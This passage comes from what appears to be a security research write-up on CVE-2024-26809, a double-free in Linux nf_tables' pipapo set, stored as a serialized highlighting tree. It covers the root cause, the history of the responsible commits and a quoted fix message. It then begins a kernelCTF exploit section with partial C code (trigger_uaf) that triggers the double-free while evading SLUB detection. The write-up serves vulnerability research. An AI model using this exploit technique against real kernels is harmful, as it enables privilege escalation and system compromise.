NFT_MSG_DELSET:\n",{"type":24,"tag":930,"props":56606,"children":56607},{"class":932,"line":1569},[56608,56612],{"type":24,"tag":930,"props":56609,"children":56610},{"style":1079},[56611],{"type":30,"value":56599},{"type":24,"tag":930,"props":56613,"children":56614},{"style":959},[56615],{"type":30,"value":56616}," NFT_MSG_DESTROYSET:\n",{"type":24,"tag":930,"props":56618,"children":56619},{"class":932,"line":1592},[56620,56625,56629,56633,56637,56641,56645,56649,56653],{"type":24,"tag":930,"props":56621,"children":56622},{"style":1002},[56623],{"type":30,"value":56624},"  nft_set_destroy",{"type":24,"tag":930,"props":56626,"children":56627},{"style":959},[56628],{"type":30,"value":1010},{"type":24,"tag":930,"props":56630,"children":56631},{"style":1158},[56632],{"type":30,"value":6230},{"type":24,"tag":930,"props":56634,"children":56635},{"style":959},[56636],{"type":30,"value":55650},{"type":24,"tag":930,"props":56638,"children":56639},{"style":1158},[56640],{"type":30,"value":16864},{"type":24,"tag":930,"props":56642,"children":56643},{"style":1023},[56644],{"type":30,"value":23384},{"type":24,"tag":930,"props":56646,"children":56647},{"style":959},[56648],{"type":30,"value":962},{"type":24,"tag":930,"props":56650,"children":56651},{"style":1002},[56652],{"type":30,"value":55616},{"type":24,"tag":930,"props":56654,"children":56655},{"style":959},[56656],{"type":30,"value":56657},"(trans));\n",{"type":24,"tag":930,"props":56659,"children":56660},{"class":932,"line":1610},[56661],{"type":24,"tag":930,"props":56662,"children":56663},{"style":959},[56664],{"type":30,"value":990},{"type":24,"tag":930,"props":56666,"children":56667},{"class":932,"line":1628},[56668],{"type":24,"tag":930,"props":56669,"children":56670},{"style":959},[56671],{"type":30,"value":2528},{"type":24,"tag":930,"props":56673,"children":56674},{"class":932,"line":1637},[56675],{"type":24,"tag":930,"props":56676,"children":56677},{"style":959},[56678],{"type":30,"value":990},{"type":24,"tag":930,"props":56680,"children":56681},{"class":932,"line":1646},[56682,56686,56690,56695,56699,56703,56707,56711,56715,56720,56724,56728,56732],{"type":24,"tag":930,"props":56683,"children":56684},{"style":937},[56685],{"type":30,"value":54133},{"type":24,"tag":930,"props":56687,"children":56688},{"style":937},[56689],{"type":30,"value":54138},{"type":24,"tag":930,"props":56691,"children":56692},{"style":1002},[56693],{"type":30,"value":56694}," nft_set_destroy",{"type":24,"tag":930,"props":56696,"children":56697},{"style":959},[56698],{"type":30,"value":1010},{"type":24,"tag":930,"props":56700,"children":56701},{"style":937},[56702],{"type":30,"value":12762},{"type":24,"tag":930,"props":56704,"children":56705},{"style":937},[56706],{"type":30,"value":24253},{"type":24,"tag":930,"props":56708,"children":56709},{"style":959},[56710],{"type":30,"value":54160},{"type":24,"tag":930,"props":56712,"children":56713},{"style":1158},[56714],{"type":30,"value":1410},{"type":24,"tag":930,"props":56716,"children":56717},{"style":959},[56718],{"type":30,"value":56719},"ctx, ",{"type":24,"tag":930,"props":56721,"children":56722},{"style":937},[56723],{"type":30,"value":12509},{"type":24,"tag":930,"props":56725,"children":56726},{"style":959},[56727],{"type":30,"value":54188},{"type":24,"tag":930,"props":56729,"children":56730},{"style":1158},[56731],{"type":30,"value":1410},{"type":24,"tag":930,"props":56733,"children":56734},{"style":959},[56735],{"type":30,"value":56736},"set)\n",{"type":24,"tag":930,"props":56738,"children":56739},{"class":932,"line":1673},[56740],{"type":24,"tag":930,"props":56741,"children":56742},{"style":959},[56743],{"type":30,"value":13987},{"type":24,"tag":930,"props":56745,"children":56746},{"class":932,"line":1692},[56747],{"type":24,"tag":930,"props":56748,"children":56749},{"style":959},[56750],{"type":30,"value":990},{"type":24,"tag":930,"props":56752,"children":56753},{"class":932,"line":1730},[56754,56758,56762,56766,56770,56775],{"type":24,"tag":930,"props":56755,"children":56756},{"style":1023},[56757],{"type":30,"value":56175},{"type":24,"tag":930,"props":56759,"children":56760},{"style":959},[56761],{"type":30,"value":16864},{"type":24,"tag":930,"props":56763,"children":56764},{"style":1023},[56765],{"type":30,"value":55759},{"type":24,"tag":930,"props":56767,"children":56768},{"style":959},[56769],{"type":30,"value":16864},{"type":24,"tag":930,"props":56771,"children":56772},{"style":1002},[56773],{"type":30,"value":56774},"destroy",{"type":24,"tag":930,"props":56776,"children":56777},{"style":959},[56778],{"type":30,"value":56779},"(ctx, set);\n",{"type":24,"tag":930,"props":56781,"children":56782},{"class":932,"line":1762},[56783],{"type":24,"tag":930,"props":56784,"children":56785},{"style":959},[56786],{"type":30,"value":990},{"type":24,"tag":930,"props":56788,"children":56789},{"class":932,"line":1775},[56790],{"type":24,"tag":930,"props":56791,"children":56792},{"style":959},[56793],{"type":30,"value":2528},{"type":24,"tag":33,"props":56795,"children":56796},{},[56797,56799,56804,56806,56811,56813,56819,56821,56826,56828,56833,56835,56839,56841,56846,56847,56851,56853,56859],{"type":30,"value":56798},"It may appear as if it would be impossible to make ",{"type":24,"tag":156,"props":56800,"children":56802},{"className":56801},[],[56803],{"type":30,"value":54062},{"type":30,"value":56805}," true in the release step because the ",{"type":24,"tag":156,"props":56807,"children":56809},{"className":56808},[],[56810],{"type":30,"value":55434},{"type":30,"value":56812}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":24,"tag":156,"props":56814,"children":56816},{"className":56815},[],[56817],{"type":30,"value":56818},"set->dead",{"type":30,"value":56820}," flag. If a ",{"type":24,"tag":156,"props":56822,"children":56824},{"className":56823},[],[56825],{"type":30,"value":54108},{"type":30,"value":56827}," was marked for deletion, it receives the ",{"type":24,"tag":156,"props":56829,"children":56831},{"className":56830},[],[56832],{"type":30,"value":56818},{"type":30,"value":56834}," flag ",{"type":24,"tag":930,"props":56836,"children":56837},{},[56838],{"type":30,"value":6244},{"type":30,"value":56840},". If this flag is set, then the commit path will skip any commitments to this ",{"type":24,"tag":156,"props":56842,"children":56844},{"className":56843},[],[56845],{"type":30,"value":54108},{"type":30,"value":510},{"type":24,"tag":930,"props":56848,"children":56849},{},[56850],{"type":30,"value":20630},{"type":30,"value":56852},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":24,"tag":156,"props":56854,"children":56856},{"className":56855},[],[56857],{"type":30,"value":56858},"priv ->dirty",{"type":30,"value":56860}," flag is not cleared when it should have been.",{"type":24,"tag":68,"props":56862,"children":56864},{"id":56863},"tracing-the-guilty-commit",[56865],{"type":30,"value":56866},"Tracing the guilty commit",{"type":24,"tag":33,"props":56868,"children":56869},{},[56870,56872,56879,56881,56887,56889,56894,56896,56902],{"type":30,"value":56871},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":24,"tag":37,"props":56873,"children":56876},{"href":56874,"rel":56875},"https://ubuntu.com/security/CVE-2024-26809",[41],[56877],{"type":30,"value":56878},"advisories",{"type":30,"value":56880}," about this vulnerability will say it was introduced by this ",{"type":24,"tag":37,"props":56882,"children":56885},{"href":56883,"rel":56884},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[41],[56886],{"type":30,"value":55768},{"type":30,"value":56888},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":24,"tag":156,"props":56890,"children":56892},{"className":56891},[],[56893],{"type":30,"value":56818},{"type":30,"value":56895}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":24,"tag":37,"props":56897,"children":56900},{"href":56898,"rel":56899},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[41],[56901],{"type":30,"value":55768},{"type":30,"value":436},{"type":24,"tag":33,"props":56904,"children":56905},{},[56906],{"type":30,"value":56907},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":24,"tag":920,"props":56909,"children":56913},{"className":56910,"code":56911,"language":56912,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[56914],{"type":24,"tag":156,"props":56915,"children":56916},{"__ignoreMap":7},[56917,56925,56933,56940,56948,56956,56963,56971,56978,56986,56994,57001,57009,57017,57025,57033,57041,57049,57057,57065,57073,57080,57088,57096,57103,57111,57119,57127,57135,57143,57150,57158,57166],{"type":24,"tag":930,"props":56918,"children":56919},{"class":932,"line":933},[56920],{"type":24,"tag":930,"props":56921,"children":56922},{},[56923],{"type":30,"value":56924},"New elements that reside in the clone are not released in case that the\n",{"type":24,"tag":930,"props":56926,"children":56927},{"class":932,"line":984},[56928],{"type":24,"tag":930,"props":56929,"children":56930},{},[56931],{"type":30,"value":56932},"transaction is aborted.\n",{"type":24,"tag":930,"props":56934,"children":56935},{"class":932,"line":993},[56936],{"type":24,"tag":930,"props":56937,"children":56938},{"emptyLinePlaceholder":16},[56939],{"type":30,"value":2412},{"type":24,"tag":930,"props":56941,"children":56942},{"class":932,"line":1057},[56943],{"type":24,"tag":930,"props":56944,"children":56945},{},[56946],{"type":30,"value":56947},"[16302.231754] ------------[ cut here ]------------\n",{"type":24,"tag":930,"props":56949,"children":56950},{"class":932,"line":1066},[56951],{"type":24,"tag":930,"props":56952,"children":56953},{},[56954],{"type":30,"value":56955},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":930,"props":56957,"children":56958},{"class":932,"line":1075},[56959],{"type":24,"tag":930,"props":56960,"children":56961},{},[56962],{"type":30,"value":990},{"type":24,"tag":930,"props":56964,"children":56965},{"class":932,"line":1122},[56966],{"type":24,"tag":930,"props":56967,"children":56968},{},[56969],{"type":30,"value":56970},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":24,"tag":930,"props":56972,"children":56973},{"class":932,"line":1131},[56974],{"type":24,"tag":930,"props":56975,"children":56976},{},[56977],{"type":30,"value":990},{"type":24,"tag":930,"props":56979,"children":56980},{"class":932,"line":1144},[56981],{"type":24,"tag":930,"props":56982,"children":56983},{},[56984],{"type":30,"value":56985},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":930,"props":56987,"children":56988},{"class":932,"line":1169},[56989],{"type":24,"tag":930,"props":56990,"children":56991},{},[56992],{"type":30,"value":56993},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":24,"tag":930,"props":56995,"children":56996},{"class":932,"line":1191},[56997],{"type":24,"tag":930,"props":56998,"children":56999},{},[57000],{"type":30,"value":990},{"type":24,"tag":930,"props":57002,"children":57003},{"class":932,"line":1223},[57004],{"type":24,"tag":930,"props":57005,"children":57006},{},[57007],{"type":30,"value":57008},"[16302.231917] Call Trace:\n",{"type":24,"tag":930,"props":57010,"children":57011},{"class":932,"line":1281},[57012],{"type":24,"tag":930,"props":57013,"children":57014},{},[57015],{"type":30,"value":57016},"[16302.231919]  \u003CTASK>\n",{"type":24,"tag":930,"props":57018,"children":57019},{"class":932,"line":1313},[57020],{"type":24,"tag":930,"props":57021,"children":57022},{},[57023],{"type":30,"value":57024},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":24,"tag":930,"props":57026,"children":57027},{"class":932,"line":1335},[57028],{"type":24,"tag":930,"props":57029,"children":57030},{},[57031],{"type":30,"value":57032},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":24,"tag":930,"props":57034,"children":57035},{"class":932,"line":1376},[57036],{"type":24,"tag":930,"props":57037,"children":57038},{},[57039],{"type":30,"value":57040},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":24,"tag":930,"props":57042,"children":57043},{"class":932,"line":1418},[57044],{"type":24,"tag":930,"props":57045,"children":57046},{},[57047],{"type":30,"value":57048},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":24,"tag":930,"props":57050,"children":57051},{"class":932,"line":1438},[57052],{"type":24,"tag":930,"props":57053,"children":57054},{},[57055],{"type":30,"value":57056},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":24,"tag":930,"props":57058,"children":57059},{"class":932,"line":1479},[57060],{"type":24,"tag":930,"props":57061,"children":57062},{},[57063],{"type":30,"value":57064},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":24,"tag":930,"props":57066,"children":57067},{"class":932,"line":1506},[57068],{"type":24,"tag":930,"props":57069,"children":57070},{},[57071],{"type":30,"value":57072},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":24,"tag":930,"props":57074,"children":57075},{"class":932,"line":1525},[57076],{"type":24,"tag":930,"props":57077,"children":57078},{"emptyLinePlaceholder":16},[57079],{"type":30,"value":2412},{"type":24,"tag":930,"props":57081,"children":57082},{"class":932,"line":1569},[57083],{"type":24,"tag":930,"props":57084,"children":57085},{},[57086],{"type":30,"value":57087},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":24,"tag":930,"props":57089,"children":57090},{"class":932,"line":1592},[57091],{"type":24,"tag":930,"props":57092,"children":57093},{},[57094],{"type":30,"value":57095},"elements in the lookup tables.\n",{"type":24,"tag":930,"props":57097,"children":57098},{"class":932,"line":1610},[57099],{"type":24,"tag":930,"props":57100,"children":57101},{"emptyLinePlaceholder":16},[57102],{"type":30,"value":2412},{"type":24,"tag":930,"props":57104,"children":57105},{"class":932,"line":1628},[57106],{"type":24,"tag":930,"props":57107,"children":57108},{},[57109],{"type":30,"value":57110},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":24,"tag":930,"props":57112,"children":57113},{"class":932,"line":1637},[57114],{"type":24,"tag":930,"props":57115,"children":57116},{},[57117],{"type":30,"value":57118},"cloned matching data if priv->dirty is set, because that means that\n",{"type":24,"tag":930,"props":57120,"children":57121},{"class":932,"line":1646},[57122],{"type":24,"tag":930,"props":57123,"children":57124},{},[57125],{"type":30,"value":57126},"cloned data might point to additional elements we did not commit to the\n",{"type":24,"tag":930,"props":57128,"children":57129},{"class":932,"line":1673},[57130],{"type":24,"tag":930,"props":57131,"children":57132},{},[57133],{"type":30,"value":57134},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":24,"tag":930,"props":57136,"children":57137},{"class":932,"line":1692},[57138],{"type":24,"tag":930,"props":57139,"children":57140},{},[57141],{"type":30,"value":57142},"to it).\"\n",{"type":24,"tag":930,"props":57144,"children":57145},{"class":932,"line":1730},[57146],{"type":24,"tag":930,"props":57147,"children":57148},{"emptyLinePlaceholder":16},[57149],{"type":30,"value":2412},{"type":24,"tag":930,"props":57151,"children":57152},{"class":932,"line":1762},[57153],{"type":24,"tag":930,"props":57154,"children":57155},{},[57156],{"type":30,"value":57157},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":24,"tag":930,"props":57159,"children":57160},{"class":932,"line":1775},[57161],{"type":24,"tag":930,"props":57162,"children":57163},{},[57164],{"type":30,"value":57165},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":24,"tag":930,"props":57167,"children":57168},{"class":932,"line":1825},[57169],{"type":24,"tag":930,"props":57170,"children":57171},{},[57172],{"type":30,"value":57173},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":24,"tag":33,"props":57175,"children":57176},{},[57177,57179,57184,57186,57191,57193,57198,57200,57205],{"type":30,"value":57178},"As we previously discussed, committing changes to a pipapo ",{"type":24,"tag":156,"props":57180,"children":57182},{"className":57181},[],[57183],{"type":30,"value":54108},{"type":30,"value":57185}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":24,"tag":156,"props":57187,"children":57189},{"className":57188},[],[57190],{"type":30,"value":55434},{"type":30,"value":57192}," method by simply replacing the ",{"type":24,"tag":156,"props":57194,"children":57196},{"className":57195},[],[57197],{"type":30,"value":54108},{"type":30,"value":57199},"s match object with its updated clone. So checking the ",{"type":24,"tag":156,"props":57201,"children":57203},{"className":57202},[],[57204],{"type":30,"value":54062},{"type":30,"value":57206}," flag and then calling free again ensures we also free uncommitted changes.",{"type":24,"tag":33,"props":57208,"children":57209},{},[57210,57212,57217],{"type":30,"value":57211},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":24,"tag":156,"props":57213,"children":57215},{"className":57214},[],[57216],{"type":30,"value":54108},{"type":30,"value":57218},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":24,"tag":33,"props":57220,"children":57221},{},[57222,57224,57230,57232,57237,57239,57244],{"type":30,"value":57223},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":24,"tag":156,"props":57225,"children":57227},{"className":57226},[],[57228],{"type":30,"value":57229},"set->ops->destroy()",{"type":30,"value":57231}," could be called without clearing the ",{"type":24,"tag":156,"props":57233,"children":57235},{"className":57234},[],[57236],{"type":30,"value":54062},{"type":30,"value":57238}," flag, which was fine considering you didn't have duplicated views of the ",{"type":24,"tag":156,"props":57240,"children":57242},{"className":57241},[],[57243],{"type":30,"value":54100},{"type":30,"value":57245},"s, so they would all be in the clone set.",{"type":24,"tag":33,"props":57247,"children":57248},{},[57249,57251,57256],{"type":30,"value":57250},"But when the ",{"type":24,"tag":156,"props":57252,"children":57254},{"className":57253},[],[57255],{"type":30,"value":56818},{"type":30,"value":57257}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":24,"tag":33,"props":57259,"children":57260},{},[57261],{"type":30,"value":57262},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":24,"tag":68,"props":57264,"children":57266},{"id":57265},"kernelctf-exploit",[57267],{"type":30,"value":57268},"KernelCTF exploit",{"type":24,"tag":33,"props":57270,"children":57271},{},[57272,57274,57280,57282,57289],{"type":30,"value":57273},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":24,"tag":156,"props":57275,"children":57277},{"className":57276},[],[57278],{"type":30,"value":57279},"nft_object + udata",{"type":30,"value":57281}," technique shared by lonial con in a ",{"type":24,"tag":37,"props":57283,"children":57286},{"href":57284,"rel":57285},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[41],[57287],{"type":30,"value":57288},"previous kernelCTF exploit",{"type":30,"value":436},{"type":24,"tag":151,"props":57291,"children":57293},{"id":57292},"trigger-uafavoid-double-free-detection",[57294],{"type":30,"value":57295},"Trigger UAF/avoid double-free detection",{"type":24,"tag":33,"props":57297,"children":57298},{},[57299,57301,57307,57309,57315],{"type":30,"value":57300},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":24,"tag":156,"props":57302,"children":57304},{"className":57303},[],[57305],{"type":30,"value":57306},"nft_set_pipapo_match_destroy",{"type":30,"value":57308}," iterates over the ",{"type":24,"tag":156,"props":57310,"children":57312},{"className":57311},[],[57313],{"type":30,"value":57314},"setelems",{"type":30,"value":57316}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":24,"tag":478,"props":57318,"children":57319},{},[57320,57325,57330,57335],{"type":24,"tag":100,"props":57321,"children":57322},{},[57323],{"type":30,"value":57324},"Element A gets freed",{"type":24,"tag":100,"props":57326,"children":57327},{},[57328],{"type":30,"value":57329},"Element B gets free",{"type":24,"tag":100,"props":57331,"children":57332},{},[57333],{"type":30,"value":57334},"Element A gets freed again (double-free)",{"type":24,"tag":100,"props":57336,"children":57337},{},[57338],{"type":30,"value":57339},"Element B gets freed again (double-free)",{"type":24,"tag":920,"props":57341,"children":57343},{"className":32201,"code":57342,"language":32203,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[57344],{"type":24,"tag":156,"props":57345,"children":57346},{"__ignoreMap":7},[57347,57354,57415,57422,57429,57437,57444,57451,57459,57483,57504,57538,57599,57606,57614,57666,57673,57699,57726,57765,57794,57823,57845,57852,57859,57866,57874,57881,57889,57902,57915,57935,57942,57950,57972,58004,58049,58085,58113,58120,58127,58135,58142,58158,58165],{"type":24,"tag":930,"props":57348,"children":57349},{"class":932,"line":933},[57350],{"type":24,"tag":930,"props":57351,"children":57352},{"style":959},[57353],{"type":30,"value":990},{"type":24,"tag":930,"props":57355,"children":57356},{"class":932,"line":984},[57357,57362,57366,57371,57375,57380,57384,57389,57394,57398,57402,57406,57411],{"type":24,"tag":930,"props":57358,"children":57359},{"style":959},[57360],{"type":30,"value":57361},"static void trigger_uaf(",{"type":24,"tag":930,"props":57363,"children":57364},{"style":937},[57365],{"type":30,"value":12509},{"type":24,"tag":930,"props":57367,"children":57368},{"style":943},[57369],{"type":30,"value":57370}," mnl_socket",{"type":24,"tag":930,"props":57372,"children":57373},{"style":937},[57374],{"type":30,"value":12924},{"type":24,"tag":930,"props":57376,"children":57377},{"style":1023},[57378],{"type":30,"value":57379},"nl",{"type":24,"tag":930,"props":57381,"children":57382},{"style":959},[57383],{"type":30,"value":962},{"type":24,"tag":930,"props":57385,"children":57386},{"style":937},[57387],{"type":30,"value":57388},"size_t",{"type":24,"tag":930,"props":57390,"children":57391},{"style":1023},[57392],{"type":30,"value":57393}," size",{"type":24,"tag":930,"props":57395,"children":57396},{"style":959},[57397],{"type":30,"value":962},{"type":24,"tag":930,"props":57399,"children":57400},{"style":937},[57401],{"type":30,"value":22149},{"type":24,"tag":930,"props":57403,"children":57404},{"style":937},[57405],{"type":30,"value":12924},{"type":24,"tag":930,"props":57407,"children":57408},{"style":1023},[57409],{"type":30,"value":57410},"msgqids",{"type":24,"tag":930,"props":57412,"children":57413},{"style":959},[57414],{"type":30,"value":1054},{"type":24,"tag":930,"props":57416,"children":57417},{"class":932,"line":993},[57418],{"type":24,"tag":930,"props":57419,"children":57420},{"style":959},[57421],{"type":30,"value":13987},{"type":24,"tag":930,"props":57423,"children":57424},{"class":932,"line":1057},[57425],{"type":24,"tag":930,"props":57426,"children":57427},{"style":959},[57428],{"type":30,"value":990},{"type":24,"tag":930,"props":57430,"children":57431},{"class":932,"line":1066},[57432],{"type":24,"tag":930,"props":57433,"children":57434},{"style":959},[57435],{"type":30,"value":57436},"    // TRANSACTION 2\n",{"type":24,"tag":930,"props":57438,"children":57439},{"class":932,"line":1075},[57440],{"type":24,"tag":930,"props":57441,"children":57442},{"style":959},[57443],{"type":30,"value":990},{"type":24,"tag":930,"props":57445,"children":57446},{"class":932,"line":1122},[57447],{"type":24,"tag":930,"props":57448,"children":57449},{"emptyLinePlaceholder":16},[57450],{"type":30,"value":2412},{"type":24,"tag":930,"props":57452,"children":57453},{"class":932,"line":1131},[57454],{"type":24,"tag":930,"props":57455,"children":57456},{"style":959},[57457],{"type":30,"value":57458},"    // create pipapo set\n",{"type":24,"tag":930,"props":57460,"children":57461},{"class":932,"line":1144},[57462,57467,57471,57475,57479],{"type":24,"tag":930,"props":57463,"children":57464},{"style":959},[57465],{"type":30,"value":57466},"    uint8_t desc[2] = {",{"type":24,"tag":930,"props":57468,"children":57469},{"style":1242},[57470],{"type":30,"value":43935},{"type":24,"tag":930,"props":57472,"children":57473},{"style":959},[57474],{"type":30,"value":962},{"type":24,"tag":930,"props":57476,"children":57477},{"style":1242},[57478],{"type":30,"value":43935},{"type":24,"tag":930,"props":57480,"children":57481},{"style":959},[57482],{"type":30,"value":19679},{"type":24,"tag":930,"props":57484,"children":57485},{"class":932,"line":1169},[57486,57491,57495,57500],{"type":24,"tag":930,"props":57487,"children":57488},{"style":959},[57489],{"type":30,"value":57490},"    set ",{"type":24,"tag":930,"props":57492,"children":57493},{"style":1158},[57494],{"type":30,"value":1161},{"type":24,"tag":930,"props":57496,"children":57497},{"style":1002},[57498],{"type":30,"value":57499}," create_set",{"type":24,"tag":930,"props":57501,"children":57502},{"style":959},[57503],{"type":30,"value":2814},{"type":24,"tag":930,"props":57505,"children":57506},{"class":932,"line":1191},[57507,57512,57516,57521,57526,57530,57534],{"type":24,"tag":930,"props":57508,"children":57509},{"style":959},[57510],{"type":30,"value":57511},"        batch, seq",{"type":24,"tag":930,"props":57513,"children":57514},{"style":1158},[57515],{"type":30,"value":54358},{"type":24,"tag":930,"props":57517,"children":57518},{"style":959},[57519],{"type":30,"value":57520},", exploit_table_name, ",{"type":24,"tag":930,"props":57522,"children":57523},{"style":1270},[57524],{"type":30,"value":57525},"\"pwn_set\"",{"type":24,"tag":930,"props":57527,"children":57528},{"style":959},[57529],{"type":30,"value":962},{"type":24,"tag":930,"props":57531,"children":57532},{"style":1242},[57533],{"type":30,"value":46591},{"type":24,"tag":930,"props":57535,"children":57536},{"style":959},[57537],{"type":30,"value":2832},{"type":24,"tag":930,"props":57539,"children":57540},{"class":932,"line":1223},[57541,57546,57550,57555,57559,57564,57568,57572,57576,57581,57586,57590,57594],{"type":24,"tag":930,"props":57542,"children":57543},{"style":959},[57544],{"type":30,"value":57545},"        NFT_SET_INTERVAL ",{"type":24,"tag":930,"props":57547,"children":57548},{"style":1158},[57549],{"type":30,"value":13523},{"type":24,"tag":930,"props":57551,"children":57552},{"style":959},[57553],{"type":30,"value":57554}," NFT_SET_OBJECT ",{"type":24,"tag":930,"props":57556,"children":57557},{"style":1158},[57558],{"type":30,"value":13523},{"type":24,"tag":930,"props":57560,"children":57561},{"style":959},[57562],{"type":30,"value":57563}," NFT_SET_CONCAT, KEY_LEN, 